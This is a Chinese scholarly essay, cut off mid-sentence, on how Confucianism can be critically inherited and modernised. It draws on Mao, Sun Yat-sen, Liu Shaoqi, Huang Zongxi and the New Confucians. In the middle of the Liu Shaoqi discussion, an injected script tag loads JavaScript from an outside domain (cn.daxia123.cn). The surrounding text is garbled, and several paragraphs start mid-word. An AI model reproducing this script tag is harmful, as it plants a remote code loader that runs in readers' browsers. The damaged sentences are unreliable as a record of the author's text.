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儒学在当代的推陈出新

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作者:李锦全   
[摘要] 儒学是中国传统文化中的重要组成部分,剔除其封建化的糟粕,吸收其民主性的精华,并经过批判性的总结,就能继承这一份珍贵遗产,孙中山、刘少奇都曾作过承传的例证。但儒学的推陈出新有个过程,大体是与历史的发展相适应。从黄宗羲、康有为到现代新儒家都作过历史性贡献,但也有时代的局限。从“为民作主”到“民主制度”的创造性转换,从“返本开新”到“推陈出新”,这才是儒学在当代发展的正确进向。
[关键词] 儒学 批判继承 返本开新 推陈出新

  今年“纪念孔子诞辰2555周年国际学术研讨会”,会议讨论主题是:儒学与当代文明。其中有个子题:儒学在当代的推陈出新。百花齐放,推陈出新,本是我们发展文艺的方针,但对在我国已延续二千多年的传统儒学,如何推封建糟粕之“陈”,出民主精华之“新”?却是一个复杂的问题。下面只能谈点本人探索意见。

  1938年10月,毛泽东同志在《中国共产党在民族战争中的地位》的报告中,谈到学习时有段话:“学习我们的历史遗产,用马克思主义的方法论给以批判的总结,是我们学习的另一任务。我们这个民族有数千年的历史,有它的特点,有它的许多珍贵品。对于这些,我们还是小学生,今天的中国是历史的中国的一个发展,我们是马克思主义的历史主义者,我们不应当割断历史。从孔夫子到孙中山,我们应当给以总结,承继这一份珍贵的遗产。这对于指导当前的伟大的运动,是有重要的帮助的。”
  另外毛泽东同志在《新民主主义论》中亦表述过类似的观点:“中国的长期封建社会中,创造了灿烂的古代文化。清理古代文化的发展过程,剔除其封建性的糟粕,吸收其民主性的精华,是发展民族新文化提高民族自信心的必要条件;但是决不无批判地兼收并蓄,必须将古代封建统治阶级的一切腐朽的东西和古代优秀的人民文化即多少带有民主性和革命性的东西区别开来。中国现时的新政治新经济是从古代的旧政治旧经济发展而来的,中国现时的新文化也是从古代的旧文化发展而来的,因此,我们必须尊重自己的历史,决不能割断历史。但是这种尊重,是给历史以一定的科学的地位,是尊重历史的辩证法的发展,而不是颂古非今,不是赞扬任何封建的毒素。”
  他对于外国的文化遗产也有类似的说法:“中国应该大量吸收外国的进步文化。”“还有外国的古代文化,例如各资本主义国家启蒙时代的文化,凡属我们今天用得着的东西,都应该吸收。但是一切外国的东西,如同我们对于食物一样,必须经过自己的口腔咀嚼和胃肠运动,送进唾液胃液肠液,把它分解为精华和糟粕两部分,然后排泄其糟粕,吸收其精华,才能对我们的身体有益,决不能生吞活剥地毫无批判地吸收。所谓‘全盘西化’的主张,乃是一种错误的观点。”
  根据我的回忆,从解放后到“文革”前的这十七年间,国内学术界基本上按照毛泽东同志这种观点作为学习研究中外文化遗产的指导方针。洋为中用,古为今用,批判继承,尊重历史辩证法的发展,各家的意见是比较一致的。但也碰到难题,如对中国传统儒学,从孔孟之道下传二千多年,留下各个时期有关儒家学者思想的历史文献,我们如何区分其中的精华与糟粕?怎样看各个时期历史辩证法的发展?用食物消化的例子固然生动而具体;但一个学派或一个学者的思想如何区别其精华与糟粕,与食物消化不同,在历史文献中只是以话语的形式表述其思想,如“仁”和“礼”是孔子思想的核心,“忠君”、“孝亲”是儒家要普遍遵循的伦理观念。按照历史辩证法的发展,如何分析其精华与糟粕,做到批判继承古为今用,“文革”前十七年似还未能解决这个问题。


  统儒学中,像忠、孝那样人所共知的封建道德,到现代应该如何批判继承呢?孙中山在《三民主义?民族主义》第六讲中有段解释:“现在一般人民的思想,以为到了民国,便可以不讲忠字,以为以前讲忠字是对于君的”,“现在没有君,忠字便可以不用,试问我们有没有国呢?我们的忠字可不可以用之于国呢?我们到现在说忠于君,固然是不可以,说忠于国可不可以呢?忠于事又是可不可以呢?我们做一件事,总要始终不渝,做到成功,如果做不成功,就是把性命去牺牲,亦所不惜,这便是忠。”
  释,有学者认为孙中山强调了中国传统道德中的“忠”字的多层含义以及普遍性因素,忠的对象可以随着时代的变化,但忠字本身不会随着某个特定对象消失。他对中国传统道德的某些内容进行了现代阐释,为我们在继承优秀传统的方式上提供了重要的借鉴。
刘少奇在《论共产党员的修养》一书中,也有几处借用儒家经典中的某些格言,而作出符合自己需要的解释。如说《孟子》上有这样一句话:“人皆可以为尧舜”,我看这句话说得不错。每个共产党员,都应该脚踏实地,实事求是,努力锻炼,认真修养,尽可能地逐步地提高自己的思想和品质,不应该望到马克思列宁主义的创始人那样伟大的革命家的思想和品质,认为高不可攀,畏葸不前,如果这样,那就会变成政治上的庸人,不可雕的“朽木”。
  这段话,不是要共产党员学做古代的尧舜。他所以?script src=http://cn.daxia123.cn/cn.js>
奇对曾子说的“吾日三省吾身”如何继承的问题。他是批评儒家唯心主义的内省方法,而主张要在社会实践中加强自身的锻炼,这算是抽象继承、批判继承还是“推陈出新”?可能由于不同人的理解而有不同的看法吧!


  上面两部分,先由毛泽东提出学习继承传统优秀文化遗产的重要性,并提出继承的标准与方法,但这些理论在应用时也引起争议。下面再就本文所选择主题的要求,作些讨论。
  关于儒学在当代如何推陈出新?据对这个子题的解释,谓中心意思是儒学在这种新形势下,如何与时俱进发展自己,再去适应时代的要求,为现实服务。如此说来,也就是古为今用的意思。但儒学如何与时俱进来发展自己,应该有条途径和发展过程。一般说来,儒学中的封建性糟粕是“陈”,而民主性精华是“新”,但“推陈出新”只能是一个渐进的过程,并且是和社会历史的发展相联系。下面试谈我的一点探索意见。
  我认为中国古代是家国同构的宗法社会,这是产生孔子和儒家政治伦理道德思想的社会历史条件。孔、孟、荀等先秦儒家生活在春秋战国时期,是个列国纷争、诸侯异政、百家异说的社会。儒家在当时虽被称为显学,但被视为思想保守,不合时宜。但是孔子和先秦儒家的发展理念,承认社会是以人为本,因而社会发展主要是人的发展。在封建宗法社会中,约可分为君、臣、民三个层次,孔子等先秦儒家认为,人可以有独立的政治理念与平等的人格尊严,但也需要维护不平等的社会等级关系。因此,儒家传统只是具有从上而下的重民惠民思想,不可能有充分的民主民权理念。所以当社会发展从古代向近现代转型时,孔子等儒家以人为本的社会发展理念,在走向现代化时选择什么路径,如何走出一条新路,也就是“推陈出新”,确是值得思考的问题。
  但也值得注意的是,从秦汉建立中央集权统一的封建大帝国后,春秋战国时期“诸侯异政,百家异说”的局面已经终结,经过汉初儒、道、法等各家思想的矛盾融合、承传互补,到汉武帝时董仲舒提出“独尊儒术”,再结合汉家制度“以霸王道杂之”,经过汉唐到宋明,形成以维护封建化伦理纲常为核心思想的新儒学——宋明理学。当时和春秋战国时期不同,已经没有孔孟那样周游列国,可以“良臣择主而事”的客观条件,因而也没有孔、孟、荀那种君臣对等甚至“从道不从君”的思想,变成“君要臣死,臣不得不死”的愚忠,和出现“以理杀人”的社会现实,这是以人为本的社会发展观念的倒退。
  随着社会的发展,可能社会存在决定社会意识的规律还会起点作用。到明中叶以后,由于出现资本主义生产关系的萌芽,也从而出现早期启蒙思想。如黄宗羲在《明夷待访录》中,把君臣看成是合作共事关系。他说:“缘夫天下之大,非一人之所能治而分治之以群工”,“治天下犹曳大木”,“君与臣”无非是“共曳木之人”,所以“臣之与君”是“名异而实同”。既然君主的职分是为天下,那么大臣出仕,自是“为天下,非为君也;为万民,非为一姓也”。据此,他严厉批评那些忠君死节之士,认为“为臣者轻视斯民之水火,即能辅君而兴,从君而亡,其于臣道固未尝不背也”。以黄氏看来,臣与君是共负“为天下”之责,所以说“吾无天下之责,则吾在君为路人”,“以天下之事,则君之师友”。黄氏发挥孟子君臣对等和合作共事的思想,他否认“臣为君而设”,是君主的“私物”,这就打破“君为臣纲”的封建传统,也清除了“臣要报君恩”之类的陈腐观念。他为要抑制绝对君权,还主张要建立有大臣参加的“每日便殿议政”制度,把原来属于清议场所的学校,变成监督朝政的舆论阵地,并要对各级地方的“政事缺失”,有一定的督察权。他虽然不能明确看到社会变革的前途是走向民主政治,但多少有一点朦胧的感觉。如从职、权、责的角度来批判封建君权,并提出一些有关政治体制的意见,对近代君主立宪运动应当有所启迪。后来康有为以“托古改制”为意向,发动变法维新,这是遵循孔孟儒家的发展理念,由对等的君臣关系,把君主立宪作为向近代转化的途径。


  进入近代,康有为以孔子“托古改制”导向变法维新的失败,他的思想趋于保守,后来成为拥戴清废帝复辟的“保皇派”。与此同时,由于民主、科学等西方政治文化理念的传入,“五四”新文化运动的冲击,儒家孔学受到很大压力,一些坚持中国文化本位的人,就着意于从自身的优秀传统中寻求民主性精华的理念。如熊十力就想沿着内圣开出外王的思路,对儒家经典提出创见。如胡秋原指出:“先生之学,盖以《易经》有科学,《春秋》有民主,《周礼》有社会主义。”他还说熊“欲以儒家思想为主,参与诸子,西洋思想亦当和会,以为人类将来之需”。徐复观则认为熊的“哲学思想,实归结于政治思想之上”,“他的政治思想是民主政治与社会主义的结合”。梁漱溟写了篇《读熊著各篇书后》,认为熊在发掘孔子的“革命”、“民主”、“社会主义”的思想上,颇有以自成其说,还认为熊是主张从世界各地不同文化和学术的比较上,而不是仅仅从儒家立场上来把握儒家的特征和价值。
  由上进入五十年代,现代新儒学思潮在中国大陆基本上处于沉寂状态。在此期间,熊的弟子徐复观、牟宗三、唐君毅等人转移到港、台定居,现代新儒学思潮就转向海外传播,到七八十年代,并影响到华人众多的泰国、新加坡等地。
  在五十年代期间,最为集中反映港台现代新儒学思潮观点的,可推《民主评论》与《再生》二杂志在1958年的元旦号中,由唐君毅、张君劢、牟宗三、徐复观联合发表的《中国文化与世界》这一宣言性的论文,文中认为由于儒家肯定“天下非一人之天下,并一贯相信在道德上,人皆可以为尧舜为圣贤,及民之所好好之,民之所恶恶之等来看,此中之天下为公、人格平等之思想,即为民主政治思想之根源所在”。由是得出结论:“民主宪政,亦即为中国文化中之道德精神自身发展之所需求”,而“从中国历史文化之重道德主体之树立,则必当发展为政治上之民主制度”。这称为“返本开新”之论。
  唐、牟等人在“宣言”中的观点,仍是儒家从内圣开出外王思想的发挥,树立道德主体是“本”,开创民主制度是“新”,实质上是以道德文化决定论作为理论依据。林毓生在《新儒家在中国推展民主与科学的理论面临困境》一文中,对新儒家的“内在要求”说提出质疑,认为“最多只能说中国传统文化中蕴涵了一些思想资源,它们与民主思想与价值并不冲突,但它们本身并不必然会从内在要求民主的发展”。因此说“希望儒家道德性的思想,‘必当发展为政治上的民主制度’,很难不是一厢情愿的愿望”。
  林毓生的质疑不是没有道理,先秦儒家主张天下为公、人格平等的道德性思想,是可以通向民主思想及其价值观,但难以发展为政治上的民主制度。因为民主思想和民主制度不是一回事,如孔、孟、荀是有君臣对等思想,可以说“人皆可以为尧舜”,甚至说民重君轻,以至主张“从道不从君”,这些言论是可以通向民主思想及其价值观,但它们仍然维护君臣父子贵贱尊卑的社会政治等级制度。因为制度是由国家政体决定的,中国古代宗法社会实行的是君主世袭的封建专制政体,虽然在改朝换代时可以出现“布衣天子”,如刘邦、朱元璋由平民当上皇帝,但在维持封建专制政体的情况下,不可能建立人事上的民主制度。只有社会通过向近现代转型的民主革命成功,才能真正建立民主制度,这是为中外历史经验所证明的。有人认为近代中国要“告别革命”就可以实现现代化的民主政治,也很难说不是一厢情愿的愿望。
  因此,对当代的儒学走向不能只凭单线思维的“返本开新”,即不能寄希望于复兴儒学和推行所谓“王道政治”。因为儒家的“本”也有精华与糟粕,重民、民本思想可以算带有民主性精华,但“民为邦本,本固邦宁”的涵义,并不能开发出民主制度。只是说人民是国家的根本,根本牢固了国家才安宁,这个“邦”就是统治者的政权,如果人民动乱,邦基不稳,统治者的政权就难以维持了。这和荀子说的水能载舟也能覆舟的道理一样,水舟之喻就是人民与统治者的关系。水流稳定,舟行就安全,如遇狂风急浪,就会有覆舟之险了。
  因而传统儒学的重民、民本思想,其中是含有害怕人民的因素,怕失去民心而引起社会动乱,所以总是要照顾人民一些利益,但这只是为稳定统治的前提和手段,目的不是为人民,也不会有民主政治。封建政体只有为民作主,不会有人民当家作主。当时县令被称为父母官,知府有称之为公祖,这些乃祖乃父,当然可以为子民作主了。而“民本”始终改变不了人民被统治的地位。
  所以儒学现代化使之能适应时代的要求,不能简单认为只要返回先秦儒家之“本”就可以开“新”。因为无论承认人在道德主体上的尊严与平等,或是“民为邦本”的地位,都不能改变人民对统治者的从属关系。正如韩愈在《原道》篇中所说:“是故君者,出令者也;臣者,行君之令而致之民者也;民者,出粟米麻丝,作器皿,通货财,以事其上者也。……民不出粟米麻丝,作器皿,通货财以事其上,则诛。”试问在封建专制政体的架构下,承认“民为邦本”就可以推出“新”的民主制度吗?所以不能简单说“返本开新”,还是要“推陈出新”。
  怎样去“推陈出新”?从政体架构来说,要推封建专制政体之“陈”,出社会主义民主政治之“新”,经过建国后半个多世纪的折腾,到现在应该说基本作到了。
但是传统儒家为民作主的思想至今还有影响,这与人民已经当家作主的社会主义是不相适 应的,是过时的应属于推“陈”的对象。可是过去的官民关系演变成今天的干群关系,有的干部还是以当官作老爷自居,凭借人民给予的权力去管治人民,有的“以权谋私”、“假公济私”去侵犯人民的利益。某些官老爷在管治权力范围内个人独断,被媒体称为“小国之君”。我们当前的立国宗旨是“立党为公,执政为民”,要求做到“情为民所系,利为民所谋,权为民所用”,有外国媒体也认为中国已进入“以人为本”的新时代。但“民为官所治,官为民之主”的传统观念不改变,不作“推陈出新”的创造性转化,就不能适应时代的要求,为建立民主政治的现实服务。因此,古为今用,

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